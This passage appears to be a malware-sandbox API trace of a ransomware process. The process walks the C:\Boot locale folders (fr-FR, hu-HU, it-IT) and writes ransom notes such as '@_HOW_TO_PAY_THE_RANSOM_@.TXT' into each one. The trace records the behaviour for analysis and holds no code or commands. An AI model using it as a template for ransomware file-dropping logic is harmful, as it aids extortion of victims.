(in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa64cf1a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64cf1a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="..", cAlternateFileName="")) returned 1 [0068.696] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa64cf1a0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa64cf1a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64cf1a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.696] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa64cf1a0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa64cf1a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64cf1a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.696] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa64cf1a0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa64cf1a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64cf1a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.696] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0068.696] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0068.696] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0068.696] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0068.697] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0068.697] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0068.697] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0068.697] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0068.697] AreFileApisANSI () returned 1 [0068.697] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.697] CreateFileW (lpFileName="C:\\\\Boot\\fr-FR\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\boot\\fr-fr\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.698] GetFileType (hFile=0x1f4) returned 0x1 [0068.698] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.699] AreFileApisANSI () returned 1 [0068.699] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0068.699] CreateFileW (lpFileName="C:\\\\Boot\\fr-FR\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\boot\\fr-fr\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.701] GetFileType (hFile=0x1f4) returned 0x1 [0068.701] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.702] AreFileApisANSI () returned 1 [0068.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.702] CreateFileW (lpFileName="C:\\\\Boot\\fr-FR\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\boot\\fr-fr\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.702] GetFileType (hFile=0x1f4) returned 0x1 [0068.702] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.703] FindFirstFileA (in: lpFileName="C:\\\\Boot\\fr-FR\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa64f5300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64f5300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.703] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa64f5300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64f5300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="..", cAlternateFileName="")) returned 1 [0068.703] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa64f5300, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa64f5300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64f5300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.703] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa64f5300, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa64f5300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64f5300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.703] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa64f5300, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa64f5300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64f5300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.704] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0068.704] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0068.704] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0068.704] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0068.704] AreFileApisANSI () returned 1 [0068.704] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.704] CreateFileW (lpFileName="C:\\\\Boot\\hu-HU\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\boot\\hu-hu\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.704] GetFileType (hFile=0x1f4) returned 0x1 [0068.704] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.705] AreFileApisANSI () returned 1 [0068.705] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0068.705] CreateFileW (lpFileName="C:\\\\Boot\\hu-HU\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\boot\\hu-hu\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.707] GetFileType (hFile=0x1f4) returned 0x1 [0068.707] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.708] AreFileApisANSI () returned 1 [0068.708] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.708] CreateFileW (lpFileName="C:\\\\Boot\\hu-HU\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\boot\\hu-hu\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.708] GetFileType (hFile=0x1f4) returned 0x1 [0068.708] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.709] FindFirstFileA (in: lpFileName="C:\\\\Boot\\hu-HU\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa64f5300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64f5300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.709] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa64f5300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64f5300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="..", cAlternateFileName="")) returned 1 [0068.709] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa64f5300, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa64f5300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64f5300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.710] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa64f5300, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa64f5300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64f5300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.710] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa64f5300, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa64f5300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64f5300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.710] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0068.710] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0068.710] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0068.710] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4ad0c0 | out: lpFindFileData=0x4ad0c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0068.710] AreFileApisANSI () returned 1 [0068.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.710] CreateFileW (lpFileName="C:\\\\Boot\\it-IT\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\boot\\it-it\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.711] GetFileType (hFile=0x1f4) returned 0x1 [0068.711] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.712] AreFileApisANSI () returned 1 [0068.712] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0068.712] CreateFileW (lpFileName="C:\\\\Boot\\it-IT\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\boot\\it-it\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.714] GetFileType (hFile=0x1f4) returned 0x1 [0068.714] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0068.715] AreFileApisANSI () returned 1 [0068.715] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x556cb0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 44 [0068.715] CreateFileW (lpFileName="C:\\\\Boot\\it-IT\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\boot\\it-it\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4ac3d0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f4 [0068.715] GetFileType (hFile=0x1f4) returned 0x1 [0068.715] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x541630 | out: hHeap=0x510000) returned 1 [0068.716] FindFirstFileA (in: lpFileName="C:\\\\Boot\\it-IT\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa651b460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa651b460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName=".", cAlternateFileName="")) returned 0x549750 [0068.716] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xa651b460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa651b460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="..", cAlternateFileName="")) returned 1 [0068.716] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa64f5300, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa64f5300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa64f5300, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0068.716] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa651b460, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa651b460, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa651b460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0068.716] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa64f5300, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa64f5300, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa651b460, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0068.716] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0068.717] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, 